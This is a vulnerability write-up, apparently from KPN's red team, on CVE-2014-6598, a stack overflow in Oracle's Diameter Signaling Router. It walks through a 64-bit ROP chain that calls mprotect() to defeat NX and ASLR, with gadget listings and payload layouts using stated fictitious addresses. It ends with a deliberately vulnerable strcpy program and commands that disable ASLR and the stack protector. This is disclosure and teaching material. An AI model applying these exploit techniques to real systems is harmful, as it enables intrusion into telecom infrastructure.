kpn-ciso/dra_writeupWriteup de la vulnerabilidad de desbordamiento de búfer de pila de Oracle DSR (DRA) CVE-2014-6598
KPN es un operador de telecomunicaciones ubicado en los Países Bajos. El CISO REDteam se introdujo en 2013 y es el equipo de hacking ético de KPN. Este equipo participa en pruebas de seguridad de las aplicaciones y servicios de KPN para garantizar que los datos de nuestros clientes estén a salvo de accesos no autorizados, modificaciones y pérdida de datos.
KPN opera la red móvil más grande de los Países Bajos. Uno de los componentes de la red 4G que opera KPN es la aplicación Diameter Routing Agent denominada Oracle Diameter Signalling Router (DSR). El Diameter Routing Agent (DRA) es un elemento funcional en una red 3G o 4G que proporciona capacidades de enrutamiento en tiempo real para garantizar que los mensajes se enruten entre los elementos correctos de una red. El 3GPP introdujo el DRA para abordar el creciente volumen de tráfico de señalización Diameter y la creciente complejidad de las redes 4G LTE. Puede implementarse como un enrutador central que enruta el tráfico entre elementos Diameter en la red local, o como un enrutador de puerta de enlace que enruta el tráfico entre elementos Diameter en la red local y de roaming. El 3GPP especifica el uso del protocolo Diameter para varias interfaces, incluida una (S6a) que se utiliza para la comunicación MME-HSS y para el roaming.
La siguiente imagen muestra un despliegue típico de DRA en un entorno LTE. Todas las interfaces entre los elementos son interfaces S6a.
El Oracle DSR es un clúster de máquinas que se ejecutan en CentOS Linux y que realiza la función de DRA. Normalmente está conectado a diferentes MME y a un HSS en la red LTE local, pero también podría conectarse a socios de roaming a través de la red IPX.
Mediante el uso de la plataforma Codenomicon DEFENSICS, el KPN REDteam descubrió dos vulnerabilidades importantes en la aplicación Oracle DSR versión 5.0:
La primera vulnerabilidad permite que un atacante remoto no autenticado conectado a la red IPX comprometa por completo el DRA y sus componentes. Cuando un atacante obtiene el control total del sistema DRA, puede monitorizar todo el tráfico enrutado a través del DRA y, posiblemente, infiltrarse más en la red central del operador de telecomunicaciones.
Oracle se tomó en serio las vulnerabilidades notificadas, y el KPN REDteam trabajó en estrecha colaboración con Oracle para resolver estos problemas, como también se indicó en su aviso al cliente:
"Recent security tests have identified two security vulnerabilities in versions of the Oracle Diameter Signaling Router product. To protect your network from potential exploits of these vulnerabilities, Oracle strongly recommends that you apply actions described herein without delay. Oracle acknowledges Frank Cozijnsen, Ethical Hacker, KPN CISO REDteam for discovery of the Diameter Stack vulnerability described below. Special thanks is extended to KPN for their support during the Oracle analysis phase. Note: These findings will be publicly disclosed with Oracle’s next planned CPU scheduled for January 20, 2015."
Los problemas encontrados representan una amenaza grave para los operadores de telecomunicaciones que utilizan el DSR de Oracle y podrían ser explotados por cualquier atacante con acceso a una conexión IPX.
El KPN REDteam prueba productos y servicios antes de que se desplieguen en redes de producción. Como parte de un proyecto de actualización, el KPN REDteam probó el Oracle DSR versión 5.0 desde una perspectiva de seguridad. La prueba de seguridad incluyó fuzzing de la implementación DIAMETER del Oracle DSR mediante la Codenomicon Diameter Server test Suite. El mensaje Capabilities Exchange Request (CER), que se utiliza para comprobar las capacidades DIAMETER del servidor receptor, se usó como objetivo inicial de fuzzing. Este mensaje se eligió porque no se reenvía a otros sistemas como el HSS, sino que lo maneja el propio DSR. Durante el fuzzing, se observaron varios bloqueos del proceso "dsr" en los blades del Message Processor (MP) del DSR.
El bloqueo se analizó usando GDB con el complemento PEDA y, finalmente, se escribió un exploit remoto. El bloqueo fue causado por una escritura fuera de los límites más allá del final de un búfer ubicado en la pila. La escritura fuera de límites corrompió la pila con datos controlados por el usuario. Además, se sobrescribió el puntero de retorno guardado, que es la dirección a la que el programa retorna tras salir de una función. Cuando este puntero de retorno puede ser controlado por el atacante, puede conducir a la ejecución arbitraria de código.
La razón principal de escribir este blog es explicar cómo el KPN REDteam logró superar las protecciones ASLR y NX implementadas y consiguió crear un exploit funcional de ejecución remota de código. Normalmente, los mecanismos de protección ASLR y NX no son un gran obstáculo para los atacantes, pero el DSR se ejecuta en CentOS de 64 bits. No hay mucha documentación práctica sobre Return Oriented Programming (ROP) en sistemas Linux de 64 bits protegidos con ASLR.
Durante la depuración, se observó que la biblioteca libc siempre se mapeaba en la misma dirección en el proceso dsr, y la dirección no cambiaba tras un reinicio. Otras bibliotecas se mapeaban en direcciones de memoria aleatorias en el proceso dsr. Conocer la dirección de memoria de libc permite usar libc como fuente de los gadgets ROP. Otra opción es usar el propio binario dsr como fuente de gadgets ROP, pero la cantidad de gadgets útiles en ese archivo es limitada.
Para eludir la protección NX, se podría usar la función mprotect() para hacer ejecutable la pila y poder ejecutar nuestro shellcode.
La función mprotect() necesita los siguientes valores en los registros correspondientes:
Si todos estos registros están establecidos, se puede llamar a mprotect() en el desplazamiento 0xe54b0 de la versión objetivo de la biblioteca libc.
La siguiente parte del documento asume conocimientos sobre ROP y su funcionamiento. En shell-storm.org hay un buen ejemplo de cómo crear una cadena ROP en un sistema Linux de 32 bits. Debido al ASLR "parcial", la ubicación de la propia pila no era predecible. Se usaron gadgets ROP para almacenar el valor del puntero de pila (%RSP) en el registro %RSI.
El registro %RDI debe contener el desplazamiento de memoria de la región de memoria que debe hacerse ejecutable.
El puntero de pila se puede usar para determinar esta dirección de memoria, y debe establecerse en un límite de página de memoria. La instrucción XOR se puede usar para poner a cero los últimos 4 bytes de esta dirección y así ajustarla a un límite de página. Solo había un gadget disponible para hacer esto con el registro %RAX, por lo que el primer paso es obtener el valor del puntero de pila en el registro %RAX.
El KPN REDteam no quiere revelar demasiada información sobre el exploit real todavía, por lo que las direcciones utilizadas a continuación son ficticias. No obstante, dan una idea de la secuencia en la que deben ejecutarse las instrucciones.
Primero, el puntero de pila se almacena en un registro. Se elige el registro %RSI porque no hay gadgets disponibles en el binario de libc para almacenar el valor directamente en el registro %RAX.
The following ROP gadgets were used:
- 0x00000039c1111111 : pop rcx ; ret
- 0x00000039c2222222 : pop rdx ; pop rsi ; ret
- 0x00000039c3333333 : push rsp ; and al, 8 ; call rcx
- 0x00000039c4444444 : mov rax, rsi ; ret
Before the overflow the registers look like this:
%RAX 0x1e40
%RCX 0x3ad
%RDX 0x0
%RSI 0x0
%RDI 0x49b8970
%RSP 0x7fdb97abaaaa
The first objective is to get the value in %RSP to %RSI.
This results in the following first section of the payload:
[NOP x size][0x00000039c1111111][0x00000039c2222222][0x00000039c3333333][0x00000039c4444444]
La primera instrucción que se ejecuta es "pop rcx", que carga 0x00000039c2222222 en el registro %RCX. La instrucción pop también mueve el puntero de pila al lugar donde está almacenado 0x00000039c3333333. Esta será la dirección del siguiente gadget ROP: "push rsp ; and al, 8 ; call rcx". La instrucción push rsp empuja el puntero de pila a la pila y, después, se llamará a la dirección previamente almacenada en el registro %RCX. Esto carga dos valores de la pila en los registros %RDX y %RSI respectivamente, y retorna a la dirección 0x00000039c4444444. El registro %RSI ahora contiene el puntero de pila previamente almacenado. El gadget ROP situado en la dirección 0x00000039c4444444 copia el valor almacenado en %RSI a %RAX.
El puntero a nuestra pila en el registro %RAX ahora se puede usar para cambiar los permisos del mapa de memoria en la pila. Para poner a cero los últimos 4 bytes, usamos una instrucción XOR que solo se aplica a los últimos 4 bytes del registro %RAX:
Current values of the registers:
%RAX 0x7fdb97abaaaa
%RCX 0x00000039c2222222
%RDX 0x7fdb97abaab2
%RSI 0x7fdb97abaaaa
%RDI 0x49b8970
XOR the last 4 bytes of %RAX
0x00000039c6666666 : xor ax, ax ; ret
The registers now contain:
%RAX 0x7fdb97ab0000
%RCX 0x00000039c2222222
%RDX 0x7fdb97abaab2
%RSI 0x7fdb97abaaaa
%RDI 0x49b8970
El siguiente paso es pasar el valor de %RAX a %RDI:
The following ROP gadgets are used:
- 0x00000039c6666666 : pop rdx ; ret
- 0x00000039c7777777 : xor al, 0x41 ; pop rdi ; ret
- 0x00000039c8888888 : push rax ; and bh, al ; jmp rdx
The way these instructions interact with each other is similar to the previously explained instructions.
The payload now looks like this:
[NOP x size][0x00000039c1111111][0x00000039c2222222][0x00000039c3333333][0x00000039c4444444]
[0x00000039c5555555][0x00000039c6666666][0x00000039c7777777][0x00000039c8888888]
This results in the following register content:
%RAX 0x7fdb97ab0000
%RCX 0x00000039c2222222
%RDX 0x00000039c7777777
%RSI 0x7fdb97abaaaa
%RDI 0x7fdb97ab0000
El registro %RDI ahora contiene un desplazamiento de memoria en la pila que está limitado a un límite de página.
El registro %RSI debe contener el tamaño de la región de memoria que debe modificarse.
Este es sencillo: basta con poner el tamaño en %RSI.
Only one gadget is used, together with the size.
- 0x00000039c9999999 : pop rsi ; ret
The size (0xf0000) will be popped from the stack and therefore it has to be added to the payload.
The payload now looks like this:
[NOP x size][0x00000039c1111111][0x00000039c2222222][0x00000039c3333333][0x00000039c4444444]
[0x00000039c5555555][0x00000039c6666666][0x00000039c7777777][0x00000039c8888888]
[0x00000039c9999999][0x00000000000f0000]
The registers now contain:
%RAX 0x7fdb97ab0000
%RCX 0x00000039c2222222
%RDX 0x00000039c7777777
%RSI 0xf0000
%RDI 0x7fdb97ab0000
El registro %RDX debe contener el bit de permisos; en nuestro caso, 0x7 -> permisos rwx.
Este paso es similar al anterior. El valor se extraerá de la pila (pop):
Only one gadget is used, together with the permissions setting.
- 0x00000039caaaaaaa: pop rdx ; ret
The permissions value is 0x7 (read, write and execute permissions)
The payload now looks like this:
[NOP x size][0x00000039c1111111][0x00000039c2222222][0x00000039c3333333][0x00000039c4444444]
[0x00000039c5555555][0x00000039c6666666][0x00000039c7777777][0x00000039c8888888]
[0x00000039c9999999][0x00000000000f0000][0x00000039caaaaaaa][0x0000000000000007]
The registers now contain:
%RAX 0x7fdb97ab0000
%RCX 0x00000039c2222222
%RDX 0x00000039c7777777
%RSI 0x7
%RDI 0x7fdb97ab0000
Todos los registros tienen ahora el valor correcto para hacer ejecutable esta parte de la pila.
Llamar a mprotect()
La dirección de la instrucción mprotect() debe incluirse en el payload. Para este ejemplo, libc está cargada en la dirección 0x0000003888c00000, por lo que el payload que hará ejecutable la pila tiene este aspecto:
[NOP x size][0x00000039c1111111][0x00000039c2222222][0x00000039c3333333][0x00000039c4444444]
[0x00000039c5555555][0x00000039c6666666][0x00000039c7777777][0x00000039c8888888]
[0x00000039c9999999][0x00000000000f0000][0x00000039caaaaaaa][0x0000000000000007]
[0x0000003888ce54b0]
Eso es todo. Para terminar el exploit, todavía tienes que asegurarte de que tu puntero de instrucción apunte a tu shellcode, pero eso es fácil después de la explicación dada.
Construir una cadena ROP y probar cómo funcionan las cosas se puede hacer fácilmente en una máquina Linux de 64 bits. Para probarlo tú mismo, podrías escribir un programa en C vulnerable:
#include <string.h>
#include <stdio.h>
void print_name(char *Buffer)
{
char name[64];
strcpy(name,Buffer);
printf("Hi, %s!\n", Buffer);
}
int main (int argc, char **argv)
{
print_name(argv[1]);
}
Compila este programa sin la protección Stack Smashing Protection (SSP)
$ gcc -fno-stack-protector -o exploitme exploitme.c
Para las pruebas, asegúrate de desactivar temporalmente el ASLR:
$ echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
Ahora abre tu GDB y empieza a hackear...
En GDB, ejecuta este archivo usando el siguiente argumento:
run `perl -e'print "\x41" x500'`
El complemento PEDA para GDB hace la vida mucho más fácil y te ayudará a encontrar tus gadgets ROP.